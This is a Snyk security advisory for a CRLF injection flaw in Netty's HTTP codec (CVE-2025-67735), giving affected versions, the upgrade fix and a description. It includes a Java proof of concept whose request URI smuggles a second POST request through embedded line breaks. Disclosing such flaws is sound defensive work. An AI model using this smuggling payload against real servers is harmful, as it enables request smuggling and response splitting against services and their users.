CRLF Injection Affecting io.netty:netty-codec-http package, versions [,4.1.129.Final)[4.2.0.Alpha1,4.2.8.Final)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JAVA-IONETTY-14423947
- published16 Dec 2025
- disclosed15 Dec 2025
- creditnakyamad
Introduced: 15 Dec 2025
CVE-2025-67735 (opens in a new tab)How to fix?
Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.
PoC
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}